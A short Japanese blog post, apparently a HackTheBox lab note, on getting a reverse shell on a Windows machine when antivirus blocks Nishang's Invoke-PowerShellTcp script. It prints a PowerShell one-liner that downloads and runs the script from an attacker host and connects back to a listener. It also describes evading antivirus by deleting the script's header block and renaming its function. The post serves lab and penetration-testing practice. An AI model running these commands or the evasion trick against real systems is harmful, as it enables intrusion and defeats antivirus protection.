🐷

【HackTheBox】Windowsマシンでのリバースシェル時にアンチウイルスを回避する

2023/02/24に公開

状況

Windowsマシンでreverse shellを取ろうとした際にAntivirusに引っ掛かってInvokePowerShellTcpが封じられてしまいました。
Reverse shellを取るときは以下のペイロードをよく使います。
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1

解決策

Ippsecが上げているビデオを参考に直しました。Acuteマシンでも似たようなことができるようですね。
https://www.youtube.com/watch?v=jDYte7xNY1g&t=940s

すること

webshell等でRCEを実行する

powershell -c "iex(new-object net.webclient).downloadstring('http://10.10.14.17:8080/Invoke-PowerShellTcp.ps1')";Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.17 -Port 1234

通常上のようなコマンドを送ってつなぎに行きます。

  1. Invoke-PowerShellTcp.ps1があるファイルがある場所でpythonサーバが建っている
  2. ncでポート1234でリッスンしてある状態

アンチウイルスに引っ掛かる


上の画像のようにwebshellからコマンドを実行すると、引っ掛かってしまいました。

アンチウイルス回避

Invoke-PowerShellTcp.ps1を見ます。

頭の部分を消す


赤く囲まれた部分の中身をすべて消します。

名前の変更を行う

functionの名前がInvoke-PowerShellTcpとなっているのですべて変更します。
vimで:s%/Invoke-PowerShellTcp/tofu/gあたりのコマンドを使うと一括で変更できます。

再度実行

powershell -c "iex(new-object net.webclient).downloadstring('http://10.10.14.17:8080/Invoke-PowerShellTcp.ps1')";tofu -Reverse -IPAddress 10.10.14.17 -Port 1234

tofuを実行するようにすればアンチウイルスを抜けてリバースシェルを奪うことができます。

最後に

たまたま触っていたマシンでこれができただけかもしれませんが、メモとして残しておきます。

注意

Discussion